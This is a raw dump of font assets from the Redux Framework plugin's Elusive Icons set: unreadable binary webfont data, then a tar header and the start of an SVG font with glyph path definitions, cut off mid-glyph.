gEsjԛUp�o@zt]q:<>;=F"-|-)ŝ~=V_t&h "5zt:}%tPSֱD4}@7T!"seD/@8 [A~x"],ipQ *;WBڮ=Ɓٸ8G/XaQXuwłCV'vSzj^JN ( F-;M"1];mV /[@t$8 9UϹG GF~3k>IXVyĹ#]gk?C6YR26adPa`ժeQc/jjn5 %3QXZ5jj(Qk/]|p0j~yNEB&mb؎lL `9g4*\ApYı{{[ۺ䂻6dÃ\l_ܓ4f`$b/aEm<-JFϕ57BOL -/iλvSY\;#~&w8x *j6{$ZC(.?݈V-)?IW/Db)>ld? Z'ha,ICZK渠D R4N1̑P?Jxr\+ف O+.9snN 7lh8,+ 9^g^XCF>n+u3vDӑBCѽQ̹rf0J: S.Ŀ܂Y9Wɯ_xi(RYEӅ:@> A-bɜҪ0]qZ$X 嬤^>Z;܆ 5=ZC Y+fSp )/EvCEV=^}bSGv%qgϙ\=3ft_mil$ KdI,#|6c@1lp:$$k'$x7$1ݐ&+5_=#oW~3ݞ?_e|C"M\WΟvbtm8o=Px蝀㨈 M9b`"*]sy@v r#!uqqa:At8 ٌDXe1ޅY]A^r+9ʷ|rꪩ{}z;ʼ+w6s0%`g*z6|2TPqj~ ]z¥t,Z?sOPv^Lo/ѹ1Ȇn$4"�`qGhmK2REGd$/S?siksXf,N,uAN( !U DihE kep �T$tOgT%u_'[Ħ -(xA[LtHгE/Y2H}3$-#q~W/*{Ÿ5w͏Jzo5Gʑz 2u$TdBYg"\:?NGKqiI+5vh"g7Jl =A+H_Qگv##LN p `"E�Zn phopGb)ezs7k\T@E<BjȜxGH5`~^~V+,4Pg룻Ry,u(*gGQ x:Юk(lӼH/膫WxSfLT z#7`ט%_5?!Ow87^2(l_0k(E:yyWp$6M (sY-ue�@ x~_n\{xqah3}af<<#7E&k5^}ƫp>\ĝ"H(N2�sIUx Քxql4H<ɒ6,4|p4*Jƣ>'+ʠz%DdqܗO%/y"q@CܡCSᧄV :Xrհ^U;q g)o}E^�we IQAA˓1/HJLeIUDWd[f퉸˕V`/L\K9�90<Q mm2nD:W_<[br s �W0,:J5]F!ؖ{J-|=3,tqH[ynqk,Ƣ4JXؑ#8\Q~s^D g>-F,S] @DW*XREiX�mY|λt~^0<uG2=9Zpj{\KA@ FY"F\I*\ܪhuXQE @+|!$@" t#|?Xy+XA.)+[S=O+ Oy' d%j#$kLe}msuTKbRU)DXY]Ea |_"+J#a68zѧin KttՍY\?+nxP/M~YJvםb[**t=cG%P@յP:{?֒P,TaA3,n5C>>aueNNr}^).xTe 3qW^FL/,yꋗ>I5\Cg 㘊ho|RT71f˻?8M[0PDZ^GAYiI(Yp$"ŅE(] B8  u^ҝTxmxoKKoFk?1o gl}ٕ?ü>vo ||mo<6t7孡o?nIz-9ݍVYhDҡY0ļZ#=]Ad%))erxo̳RIErń6-CxiS#e*ېSEdb󖠠xqk B@buk':觛U.A,yjC8)aΗ``<q aZ%f.#?, BG/UWvp2TcAO}ӃuG-E y]d�vH "-8QxE0]2vȏj=zd*G[uXh!"\ļAb[6x4Ev:<vmsJ3ft~hѬ2xt2xuS x:O4~1<RBwlw,%�UvX 4<ATI[ d/DžQqL=blP dheuM.GWGh]V-S^͘aSGvYD/ 8UuދCu2{jruT`ݵUqN]6u+. ,+N#gx@C} ,<@'e5Xho|iWzbiuUeRGWd.=Pb9K [-=Z oI^׺>FM=+ÎjYsۧ1|fq`6q; 5b,0A4 T7E_9bZ!= O;3 :+wlߺe|lh0ڒJ͇Bȸ#\5Py�%IT=UǸ�F/R]CN5kmbMX}Ht`FTj1jY-{vg ]_lۿ9dSmت y sO,dZ hxK1A+*ou!-$Y,!}A@6K9Ke L+eG7j65 I[rq `B2.8 Tw[rAolx/Y }iq?ڽ[D]qW]y@@ ZAΡ8qBPRK;xXca:S|IQ #~WձzWZWׄ_ƥUme8ی?Dx5UTVpYUq\k)YT]07Mpy <\N/;m]AbNapH>03[C׿}̧[9+wT>py+Rnfl�$.A 8C!#ͤf~^0zP;2, n #i ؑFNTw;tkWZ1a %pb}׽}ryg`-_9 o4A ]U܇oE}X!Ckwe\Vv$�ΔKKWD=@T4bSb"1GXf Վ`@cPyFݘ8fjS;Ő/ ^whX{U[ o`Aڥ@z|A<|due`Siw%uVrOS&n2箟 ?p7Ⲫ(SA}tn{<26-8\siw]MeOA`՛IݝN1lC0\O�!ʰ2F&FV�._U(ƍLCF& e*Y5C>wp?9vbjD{@]aK,WXkc;DHϱuB$Ykvz ʛ Hmk[QlղXp޵-Rxî\;^4􋗾߽=zd䱽]~l]lg/7MG$tk rp(Ʒep|"82b<޾Na#$b0JVDr�%cPKb�6aY#I�r9Y)>Ho!XS|INٸQtѼ4},F0KvD*dvvܝ;6M;я }.:.m̎C Պ]Qry.T~VV$yS8UsVUpV:̩Vg9/ؘ@#׎^89 7Q/�_=G~UWj]89ӷiF>mxϦS,;YE70мwɁlk!KY{OOʞ}u5(̀FւAEfc@)W%-c`Me| <*M;v1)ȑ$ QPTIoE%oP [%�D"R}2_**&ҕjKuثTv9T(kBbAp "UGd>=emh M`_$b#[8� V((hY JPu4gIۦ+*Q&4AӤDD[u:ݮA5A|rdSؐNi =HMKTucx?WDۓv8O,BKX:he#Z_;6FQ|)jg 6Q=A%DRceou6%8HӒ>l% R$5Y(nmqO~pk,4g@o,"Uf[GN~x-۸-ǫ𮞾>T~a ׯ̃;qU:oJLpmG2w#eW�f V3X2Q쫁ݨsC]f K i&ojq~B?u02 mOW+9u9$q,0<늄!DLr:Kvfv qY>zM7i׮M}?xxΛ1.lDg'~썻7vP9@_KHMtغȜl&ZL8 HvVrr LdQ}E#;wĎ-dYkS]Mi:On2D<Yׄ&NS=UTũbAHtJk<Q5ց#;$]>/iH;~|n/,;\FT; x!i(/4>Ѓp*VԮ*-%I(P|DȦ4B2bfhĪAQ"0qjz WZ�wDX3:EwC;ځ.*ꛗ{AZ@YZ+Ȉm8G)㮻vؚCsLgC%O<o U@�0Y3@QQTEZLdkj>1C4=GweL49}G} ׷cWes}Z*@lNj2ZLoxyB~?bX2ECH~~tji�*~9Gw\ݓ2\e\n~`_I:fۼlթd"H$CB66jŬ6dU=+Ԯ,Nft}<#~٩3g Y?O?y I>t0Jj[܎6^c*U$ӆd*d~Š.U�K*]@NY_[kq\ںmkCi|^{KA$p6d!۱uM,N$2#DOjCk)5>ƺ`R2L4= _DcXòxZ:+;l m!直)-a?dB\x-to&<747l[&&R΅ *5;yDskUd^ǝz5Q]iɮH*'iW `Ea]a =b"170qu( m.Wo^p{cC+ore%p%\w9Z~[3TO۵C˖ԦoC(Dd( A ftҫ!ˁZEoU<ȣ2^ܹtv<+$SEHJ 1 z*`$+C0B[J)6u�-%/^{GxYvϑSW\G^Џ&>NKƉ1kpuoǮdGW, |.CT +L`rF;t?E ){5݈7}noc4cɑ G3Jv^GR{@ڻxD #v$)[^on~[iI34 y&E&mj83UċqY 'E߇Oo.5{CqZ --v5g=CoSqҴP^W?W0>բl Yh<ZPI{BJ[!9qg123/4>+ùb%w~+w Q$ؙÍgugI,7*$M<TzX6 l3YO "Sa*?9uC!c<%*nMvuخbQ6$vRѮP)[d @FbǕ%~ ?`ǚI(h ) E<Ex#uDfx'8{kONoh3=mJo̽~[9̶mVO6yLwmwpɃ}Є367[ ֠L 0.q7B6@TB//ୀs}d2L}$ag{o;oz3qwtǷ:m6xNax]nv+ mo�xc`d``�ba6_Y6�E. y7lb1r9@�? ��xc`d``1ĐòX61�EP� �xc�,  f($A^RFK0�ՙ220e1gp9z) f`͠|F80 !E,ҁ=oH:!`=k 0�)@|M؂UC$S0d1au; |Pd7;d( !@sҙpW �ā(V{�m"����(�(�(�8 t6tF r t \ T <t:Vr6xN<l(nf&Lv0  l !N!"""p##`#$$$%P%%&&b&&'\())R)j*.->00h01B12334\6 78^89 9:;<D==>t>?6@.@ANAAABCDDDEElEF4G(GGHHHHJ"JJK KLMFOOOPP~PQ2QtRjS$S\SvST TURUVVBVZVWBWXBXXYYJYZ:ZZZ[`[\\>\\_X__``aPabpbc`cd.ddezeffgdghh6hhi$iRiiijBjjkDl~lmmzmn2njnoLoppqrs>stu"uvTvww0wXwwwxxyDyz(zz{0{| ||}&}}~0~v~B@΂Ѓ ^^VJX,|R���5�������L�\�s�������x1j1EBEWb 1 la v>F\r|)S X07_A�AZRċk|*|+h\bn4OV OSU<ŏrY.=":qcF@y #s{ip![T *) �mm޺Zm*W9is>ےlNz9M;+"b #J�x]gccsuñu"iJEV2lI7eT%d+T^Qlx\>¤wﭝ'0@`&fffe21;s0's170/1? 0,B,",b,,R,4aYcyV`E+3UXX5 !SPRQ>ȚŇXuhhYX ؐ6|1|MؔO[ak>6lvl<;3_`ve7vgd/×ؗ/|99C99#99c9999S9939:p.<ɷ6|.\E\>?K˸~\9Wq5\ï븞_s7r7s r~=?sw߸{yyyGyy'yy,/^e^U^uM[a0s%&a0g+ a0%L ahX,,KaZX&, ˇŠazX)fUªazX#L$ĐNgd"q{nnnnm2'~'~'~'~ԏQ?G~ԏQ?G~~~~~g~g~g~g~~~~~_~_~_~_~_~_~_~_~_W~_W~_W~_W~_~_~_~_~7~7~7~7~~~~~w~w~w~w~~~~????????{~p7[[۸۹;?h?h?h?h?h?h?h?h?64�xcp"(b##c_Ɲ  X620hAhz''2e cG`).@] ,! %@Gk ,\�"���������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.svg����������������������0000644�����������������00000370670�14720701300�0024075 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > <svg xmlns="http://www.w3.org/2000/svg"> <metadata> Created by FontForge 20120731 at Tue Feb 24 11:41:15 2015 By Dovy </metadata> <defs> <font id="elusiveicons" horiz-adv-x="1200" > <font-face font-family="elusiveicons" font-weight="500" font-stretch="normal" units-per-em="1200" panose-1="2 0 6 9 0 0 0 0 0 0" ascent="1075" descent="-125" bbox="-2 -125.75 1202 1075.75" underline-thickness="60" underline-position="-120" unicode-range="U+F101-F232" /> <missing-glyph d="M40 0v800h320v-800h-320zM80 40h240v720h-240v-720z" /> <glyph glyph-name=".notdef" d="M40 0v800h320v-800h-320zM80 40h240v720h-240v-720z" /> <glyph glyph-name=".null" horiz-adv-x="0" /> <glyph glyph-name="nonmarkingreturn" /> <glyph glyph-name="uniF101" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM264 811v-672h524h75h73v119h-73v65h73v119h-73v66h73v119h-73v65h73v119h-73h-75h-524zM563 694 q27 0 49.5 -13t35.5 -35.5t13 -48.5q0 -29 -15 -52t-39 -35l124 -75h2v-1v-104h-173h-166v104v1h1l125 75q-24 12 -39 35t-15 52q0 40 28.5 68.5t68.5 28.5z" /> <glyph glyph-name="uniF102" unicode="" d="M0 1075h935h134h131v-212h-131v-117h131v-213h-131v-116h131v-213h-131v-117h131v-212h-131h-134h-935v1200zM535 865q-47 0 -87 -23t-63.5 -63t-23.5 -87q0 -50 26.5 -91.5t69.5 -63.5l-222 -133h-3v-1v-187h605v187v1h-3l-222 133q44 22 70 63.5t26 91.5 q0 72 -50.5 122.5t-122.5 50.5z" /> <glyph glyph-name="uniF103" unicode="" d="M104 1075h159v-700h104v-254h-367v254h104v700zM521 1075h158v-452h105v-254h-368v254h105v452zM937 1075h159v-202h104v-254h-367v254h104v202zM886 823v-50h261v50h-261zM937 577h159v-702h-159v702zM470 573v-51h260v51h-260zM521 329h158v-454h-158v454zM53 325v-51 h261v51h-261zM104 79h159v-204h-159v204z" /> <glyph glyph-name="uniF104" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 900q-115 0 -213 -57t-155 -155t-57 -213t57 -213t155 -155t213 -57v850z" /> <glyph glyph-name="uniF105" unicode="" d="M605 595q-101 2 -170 72t-70 168q2 100 72.5 169.5t167.5 70.5q50 -2 94.5 -21.5t76.5 -51.5t50.5 -75.5t18.5 -91.5q-1 -66 -34 -121t-88 -87t-118 -32zM799 545q62 -1 112 -26.5t81 -68.5t48 -96t17 -110v-369h-167v324q-3 16 -12.5 23t-20.5 5q-7 -1 -12.5 -4.5 t-9.5 -9.5t-4 -14v-324h-465v324q-5 31 -30 29q-11 -1 -19.5 -9t-8.5 -20v-324h-165v369q-1 80 30.5 148t91.5 110.5t137 42.5h397z" /> <glyph glyph-name="uniF106" unicode="" d="M291 976h618v-178h-618v178zM127 701h946v-178h-946v178zM234 427h732v-178h-732v178zM0 152h1200v-178h-1200v178z" /> <glyph glyph-name="uniF107" unicode="" d="M0 976h1200v-178h-1200v178zM0 701h1200v-178h-1200v178zM0 427h1200v-178h-1200v178zM0 152h1200v-178h-1200v178z" /> <glyph glyph-name="uniF108" unicode="" d="M619 976v-178h-619v178h619zM947 701v-178h-947v178h947zM731 427v-178h-731v178h731zM1200 152v-178h-1200v178h1200z" /> <glyph glyph-name="uniF109" unicode="" d="M581 976h619v-178h-619v178zM253 701h947v-178h-947v178zM469 427h731v-178h-731v178zM0 152h1200v-178h-1200v178z" /> <glyph glyph-name="uniF10A" unicode="" d="M600 -125l-469 703h253v497h432v-497h253z" /> <glyph glyph-name="uniF10B" unicode="" d="M0 475l703 469v-253h497v-432h-497v-253z" /> <glyph glyph-name="uniF10C" unicode="" d="M1200 475l-703 -469v253h-497v432h497v253z" /> <glyph glyph-name="uniF10D" unicode="" d="M600 1075l469 -703h-253v-497h-432v497h-253z" /> <glyph glyph-name="uniF10E" unicode="" d="M710 1075h1q27 0 47 -25t22 -69l35 -654q10 35 34.5 70.5t56 64.5t69.5 51.5t74 33.5t69 8t54 -22q26 -19 28 -53.5t-15 -67t-43 -47.5q-52 -23 -91.5 -60t-62.5 -77.5t-45.5 -88t-40 -89.5t-47 -84t-67.5 -70q-28 -21 -82 -21h-434q-55 3 -87 44.5t-42 99.5l-142 793 q-4 34 10 54t35 21t42 -12.5t30 -37.5l65 -226q-20 -37 -15 -80q6 -39 41 -252q4 -40 27.5 -74t55 -50t68 -9t63.5 42q19 -20 45.5 -28.5t53.5 -3t50.5 20.5t39.5 43.5t17 64.5l8 698q3 29 14 50t25.5 31t31.5 11h2zM490 687q32 0 57.5 -19t29.5 -52l10 -304q0 -35 -9 -58.5 t-22.5 -33t-30.5 -9.5q-30 -1 -54.5 25t-26.5 64l-27 310q0 34 18.5 53.5t47.5 22.5q4 1 7 1zM292 618q26 1 47.5 -16.5t26.5 -48.5l26 -257q2 -26 -5.5 -47t-20.5 -32.5t-29 -15.5q-10 -2 -20.5 0.5t-19.5 8.5t-16.5 18t-12.5 28l-44 266q-5 40 11 64.5t43 30.5q7 1 14 1z " /> <glyph glyph-name="uniF10F" unicode="" d="M490 1046h220v-444l422 137l68 -209l-422 -137l261 -359l-178 -130l-261 359l-261 -359l-178 130l261 359l-422 137l68 209l422 -137v444z" /> <glyph glyph-name="uniF110" unicode="" d="M627 1075v-545l546 545v-1200l-546 545v-545l-600 600z" /> <glyph glyph-name="uniF111" unicode="" d="M1024.5 899.5q115.5 -115.5 156 -270t0 -309t-156 -270t-270 -156t-309 0t-270 156t-156 270t0 309t156 270t270 156t309 0t270 -156zM861 842v0q-87 62 -192 78t-207.5 -16.5t-180 -110t-110 -180t-16.5 -207.5t78 -192zM967 736l-628 -628q87 -62 192 -78t207.5 16.5 t180 110t110 180t16.5 207.5t-78 192z" /> <glyph glyph-name="uniF112" unicode="" d="M0 975h100v-1000h-100v1000zM186 975h24v-1000h-24v1000zM244 975h76v-1000h-76v1000zM398 975h32v-1000h-32v1000zM516 975h24v-1000h-24v1000zM551 975h99v-1000h-99v1000zM710 975h50v-1000h-50v1000zM859 975h11v-1000h-11v1000zM947 975h33v-1000h-33v1000z M1066 975h24v-1000h-24v1000zM1100 975h100v-1000h-100v1000z" /> <glyph glyph-name="uniF113" unicode="" d="M0 1075h1200v-1200h-1200v1200zM186 579v-514h310q57 2 94 38q38 40 39 99q-1 58 -26 91q-23 28 -61 38v2q35 12 53 37q23 32 23 83q-1 55 -37 91q-38 35 -89 35h-306zM721 578v-84h227v84h-227zM830 469q-45 0 -82 -13q-36 -13 -62 -39q-26 -25 -40 -64t-14 -90 q0 -53 15 -92q14 -39 40.5 -64.5t64.5 -38.5q39 -12 86 -12q95 2 143 41q47 42 48 112h-129q0 -12 -4 -23q-11 -34 -61 -34q-37 0 -54 22q-16 22 -16 63h264q0 76 -14 118q-13 39 -38 64q-26 25 -63 37q-36 13 -84 13zM334 466h101q15 0 24 -11q10 -13 10 -28v-8 q0 -17 -10 -28q-10 -12 -24 -12h-101v87zM835 374q29 0 44 -18q16 -17 16 -48h-130q4 30 20 48q17 18 50 18zM334 273h112q15 -1 24 -12q10 -12 10 -28v-8q-1 -17 -10 -29q-11 -11 -24 -11h-112v88z" /> <glyph glyph-name="uniF114" unicode="" d="M521 1075h158v-74q123 -27 204.5 -126.5t82.5 -229.5v-319l236 -205v-55h-236h-732h-236v55l236 205v319q1 130 82.5 229.5t204.5 126.5v74zM600 50q36 0 62 -25.5t26 -62t-26 -62t-62 -25.5t-62 25.5t-26 62t26 62t62 25.5z" /> <glyph glyph-name="uniF115" unicode="" d="M385 1075q33 0 60.5 -16t43 -43.5t15.5 -59.5q0 -50 -34.5 -84.5t-84 -34.5t-84.5 34.5t-35 84t35 84.5t84 35zM286 775q23 37 69 42.5t80 -26.5l139 -176l136 -27q17 -3 29.5 -19.5t8.5 -35.5t-28 -27l438 -601q7 -12 -4.5 -18.5t-18.5 2.5l-470 619l-126 24 q-18 5 -27 17l-54 67v-57v-137l138 -158q7 -5 10 -21l66 -299q4 -21 -5.5 -38t-26 -24t-35 -7t-34 12t-20.5 34l-61 287l-113 127l-50 -177q-6 -17 -10 -22l-166 -214q-14 -16 -33.5 -21.5t-36 0.5t-29 18.5t-13 31.5t12.5 41l160 203l63 226l-2 185l-33 -45l-13 -131 q-5 -32 -29 -42t-45 5.5t-18 44.5l16 143q0 11 7 21z" /> <glyph glyph-name="uniF116" unicode="" d="M0 1075h1200v-1200h-1200v1200zM642 855l-229 -1q-50 -7 -90 -28.5t-66.5 -59.5t-30.5 -87l-2 -352q0 -118 67.5 -175.5t197.5 -54.5l280 1q49 7 85.5 24.5t58.5 39t36 51.5t19.5 55.5t8.5 56.5v105q-2 37 -16 65t-36 42.5t-45.5 21.5t-50.5 8q12 42 3 111 q-6 73 -56 121.5t-134 55.5zM451 713h186q36 -5 56 -25.5t19.5 -44t-20.5 -44.5t-55 -27h-186q-37 5 -57 25.5t-19.5 44t20.5 44.5t56 27zM408 406l342 -1q25 -4 43 -15.5t26.5 -27.5t8.5 -34t-7.5 -34t-25 -28t-41.5 -16l-342 1q-38 5 -59 27.5t-21 49t20 49.5t56 29z" /> <glyph glyph-name="uniF117" unicode="" d="M0 1075h698q215 0 323 -74t108 -223q0 -106 -75 -169q-74 -63 -221 -79q178 -17 272.5 -96.5t94.5 -211.5q0 -178 -132 -263q-132 -84 -414 -84h-654v97h151v1006h-151v97zM454 978v-404h103q136 0 202 50q65 51 65 154q0 105 -64 152q-63 48 -203 48h-103zM454 478v-506 h113q151 0 223.5 61t72.5 189q0 129 -73.5 192.5t-222.5 63.5h-113z" /> <glyph glyph-name="uniF118" unicode="" d="M455 1064l578 -299v-724l-107 -58v724l-515 276q-36 13 -81 -10.5t-72 -57.5l579 -332v-650l-106 -58l-564 350v668q0 37 18 65q22 35 72.5 67t103.5 44.5t94 -5.5z" /> <glyph glyph-name="uniF119" unicode="" d="M234 1075h732v-1087v-113l-366 366l-366 -366v113v1087zM309 1000v-938l291 291l291 -291v938h-582z" /> <glyph glyph-name="uniF11A" unicode="" d="M234 1075h732v-1087v-113l-366 366l-366 -366v113v1087z" /> <glyph glyph-name="uniF11B" unicode="" d="M50 1021h320v-91h-320v91zM50 30h320v-91h-320v91zM50 30v900h91v-900h-91zM830 1011h320v-91h-320v91zM830 20h320v-91h-320v91zM1150 921v-901h-91v901h91z" /> <glyph glyph-name="uniF11C" unicode="" d="M510 24q0 -62 -43.5 -105.5t-105.5 -43.5t-105.5 43.5t-43.5 105.5q0 40 20 74.5t54.5 54.5t74.5 20q62 0 105.5 -43.5t43.5 -105.5zM510 475q0 -30 -11.5 -58t-31.5 -47.5t-47.5 -31.5t-58.5 -12q-62 0 -105.5 43.5t-43.5 105.5t43.5 105.5t105.5 43.5q41 0 75 -20 t54 -54.5t20 -74.5zM510 926q0 -62 -43.5 -105.5t-105.5 -43.5t-105.5 43.5t-43.5 105.5t43.5 105.5t105.5 43.5t105.5 -43.5t43.5 -105.5zM988 24q0 -62 -43.5 -105.5t-105.5 -43.5t-105.5 43.5t-43.5 105.5t43.5 105.5t105.5 43.5t105.5 -43.5t43.5 -105.5zM988 475 q0 -62 -43.5 -105.5t-105.5 -43.5t-105.5 43.5t-43.5 105.5t43.5 105.5t105.5 43.5t105.5 -43.5t43.5 -105.5zM988 926q0 -62 -43.5 -105.5t-105.5 -43.5t-105.5 43.5t-43.5 105.5t43.5 105.5t105.5 43.5q40 0 74.5 -20t54.5 -54.5t20 -74.5z" /> <glyph glyph-name="uniF11D" unicode="" d="M318 1001h564v-167h318v-487h-541v100h-118v-100h-541v487h318v167zM405 915v-81h390v81h-390zM0 253h541v-97h118v97h541v-304h-1200v304z" /> <glyph glyph-name="uniF11E" unicode="" d="M1094 1075l106 -106l-410 -410q13 -22 10 -48t-22 -45q-33 -33 -78 -19q49 -101 6 -191q-80 -107 -133 -200.5t-74 -180.5q-52 26 -115 68q-10 61 6.5 115t57.5 92q-54 -20 -90.5 -58.5t-50.5 -90.5q-43 31 -108 98q19 25 26.5 35.5t13.5 20t4.5 10t-7.5 -0.5t-15 -6 t-25 -11.5t-31 -11.5q-35 40 -63 77q36 13 64 33t48.5 47.5t31.5 60.5q-84 -85 -196 -67q-31 48 -50 88q58 5 113.5 30.5t92.5 55t86.5 66t88.5 55.5q98 42 191 -6q-14 45 19 78q19 19 45 22t48 -10z" /> <glyph glyph-name="uniF11F" unicode="" d="M1158 1075l42 -1q-46 -64 -99.5 -149t-94.5 -155t-97 -156t-112 -160t-134.5 -157.5t-167.5 -157.5l-131 137q16 59 99.5 162t192 209.5t218 204t189.5 160t95 63.5zM323 234l131 -137q-18 -41 -39.5 -73.5t-50 -62t-64 -48t-79.5 -29.5t-100 -9t-121 17q48 17 79.5 40.5 t46.5 49t25 53l20 55t25.5 53.5t47 50t79.5 41z" /> <glyph glyph-name="uniF120" unicode="" d="M600 955q119 0 203 -63t84 -152l-163 -495h-248l-163 495q0 89 84 152t203 63zM600 908q-56 0 -104 -19t-76.5 -46.5t-44 -55t-15.5 -47.5l116 -345h248l116 345q0 17 -15.5 43.5t-44 55.5t-76.5 49t-104 20zM472 209v0h256v-86h-256v86zM472 81h256v-86h-256v86z" /> <glyph glyph-name="uniF121" unicode="" d="M1030 978v0q28 -1 51 -15.5t36 -37t14 -48.5v-240q24 -8 41 -26.5t23.5 -42t3.5 -47t-21 -44t-47 -31.5v-241q-2 -42 -32 -70.5t-69 -29.5q-75 68 -161.5 121t-184 88.5t-194.5 46.5q-41 -18 -57 -61.5t-8.5 -92.5t32.5 -97t60 -76q-21 -36 -68 -52t-96 -8t-78 36 q-19 54 -29.5 90.5t-20 85t-8 93.5t14.5 87h-131q-43 2 -71.5 32.5t-29.5 69.5v147q2 43 32 72.5t69 29.5h326q167 10 327.5 78.5t275.5 182.5zM1033 848q-245 -182 -505 -221v-171q289 -54 505 -221v613z" /> <glyph glyph-name="uniF122" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM389 853v-118h63v118h-63zM748 853v-118h63v118h-63zM262 796v-166h676v166h-83v-106h-151v106h-208v-106 h-151v106h-83zM262 587v-490h676v490h-676zM528 474q26 -1 48 -13.5t31 -34.5q12 -34 2 -55q-11 -24 -47 -37q58 -15 59 -67q-1 -38 -30 -62q-29 -23 -63 -23q-94 0 -94 85h55q2 -42 35 -42q41 2 42 45q0 28 -19 36q-15 6 -51 6v43q63 -1 63 36q-2 40 -33 40q-37 -2 -38 -37 h-54q1 39 28 59t66 21zM717 468h49v-281h-53v226q-30 -26 -66 -36v48q42 16 70 43z" /> <glyph glyph-name="uniF123" unicode="" d="M266 1075h99v-188h-99v188zM835 1075h99v-188h-99v188zM64 985h132v-169h239v169h330v-169h239v169h132v-264h-1072v264zM64 652h1072v-777h-1072v777zM485 473q-61 -1 -104 -33t-44 -93h86q0 26 15.5 41.5t43.5 17.5q50 -1 53 -64q-1 -59 -100 -57v-68q58 0 81 -10 q29 -12 29 -56q0 -69 -65 -73q-26 0 -40 18.5t-16 48.5h-87q0 -134 148 -134q55 0 100 37q46 37 48 97q-1 41 -25.5 68t-68.5 39q57 20 76 58q15 34 -3 87q-15 36 -49.5 55.5t-77.5 20.5zM786 464q-44 -43 -112 -69v-76q58 17 106 58v-358h83v445h-77z" /> <glyph glyph-name="uniF124" unicode="" d="M391 927h435l37 -152h337v-752h-1200v752h353zM603 775q-92 0 -169.5 -45t-122.5 -122.5t-45 -169.5t45 -169.5t122.5 -123t169.5 -45.5t169.5 45.5t123 123t45.5 169.5t-45.5 169.5t-123 122.5t-169.5 45zM999 702v-99h170v99h-170zM603.5 676q98.5 0 168 -70 t69.5 -168.5t-69.5 -168t-168 -69.5t-168.5 69.5t-70 168t70 168.5t168.5 70z" /> <glyph glyph-name="uniF125" unicode="" d="M215 974h770l76 -316h21h118v-92h-48v-590h-136v96h-832v-96h-136v590h-48v92h118h21zM255 913l-61 -255h812l-61 255h-690zM87 489v-91l191 -71v92zM1113 489l-191 -70v-92l191 71v91zM416 250v-91h368v91h-368z" /> <glyph glyph-name="uniF126" unicode="" d="M0 950h1200l-600 -950z" /> <glyph glyph-name="uniF127" unicode="" d="M1100 -125l-1000 600l1000 600v-1200z" /> <glyph glyph-name="uniF128" unicode="" d="M100 1075l1000 -600l-1000 -600v1200z" /> <glyph glyph-name="uniF129" unicode="" d="M0 -25l600 1000l600 -1000h-1200z" /> <glyph glyph-name="uniF12A" unicode="" d="M600 975l600 -117v-766l-600 -117l-600 117v766zM382 709q-97 0 -165.5 -68.5t-68.5 -165.5t68.5 -165.5t165.5 -68.5q69 0 125.5 36.5t85.5 96.5h-114q-40 -39 -97 -39q-58 0 -99 41t-41 99t41 99t99 41q57 0 97 -39h114q-29 60 -85.5 96.5t-125.5 36.5zM841 709 q-64 0 -117.5 -31.5t-85 -85t-31.5 -117.5t31.5 -117.5t85 -85t117.5 -31.5q69 0 125.5 36.5t85.5 96.5h-114q-40 -39 -97 -39q-58 0 -99 41t-41 99t41 99t99 41q57 0 97 -39h114q-19 39 -50.5 69t-73 47t-87.5 17z" /> <glyph glyph-name="uniF12B" unicode="" d="M978 8l-260 128l-137 -256l-117 265l-269 -108l80 279l-275 90l240 162l-152 246l288 -31l41 287l201 -209l216 193l19 -289l290 10l-171 -235l228 -179l-281 -69z" /> <glyph glyph-name="uniF12C" unicode="" d="M0 1075h1200v-1200h-1200v1200zM197 878v-806h806v806h-806z" /> <glyph glyph-name="uniF12D" unicode="" d="M0 1075h776l-197 -197h-382v-382v-424h424h382v382l197 197v-329v-447h-776h-424v424v776zM1030 1060l159 -159l-434 -434l-159 -160l-314 315l159 159l155 -155z" /> <glyph glyph-name="uniF12E" unicode="" d="M600 86l-179 178l-421 422l179 178l421 -421l421 421l179 -178l-421 -422z" /> <glyph glyph-name="uniF12F" unicode="" d="M211 475l178 179l422 421l178 -179l-421 -421l421 -421l-178 -179l-422 421z" /> <glyph glyph-name="uniF130" unicode="" d="M989 475v0l-178 -179l-422 -421l-178 179l421 421l-421 421l178 179l422 -421z" /> <glyph glyph-name="uniF131" unicode="" d="M600 864l179 -178l421 -422l-179 -178l-421 421l-421 -421l-179 178l421 422z" /> <glyph glyph-name="uniF132" unicode="" d="M604.5 1075q101.5 0 173.5 -72t72 -174.5t-72 -174.5t-173.5 -72t-173 72t-71.5 174.5t71.5 174.5t173 72zM464 788q0 -58 41 -99t99 -41t99 41t41 99h-280zM412 543h377q57 1 98 -19t64 -54.5t33.5 -74.5t10.5 -87v-433h-142v389q-3 21 -17 27.5t-27 -2.5t-13 -25v-389 h-386v389q-3 16 -12 23.5t-19 6.5t-18.5 -9.5t-8.5 -20.5v-389h-147v433q-3 110 53 171.5t154 63.5z" /> <glyph glyph-name="uniF133" unicode="" d="M1200 475q0 -163 -80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301zM903 542h-163v321h-280v-321h-163l303 -455z" /> <glyph glyph-name="uniF134" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM667 172v163h321v280h-321v163l-455 -303z" /> <glyph glyph-name="uniF135" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 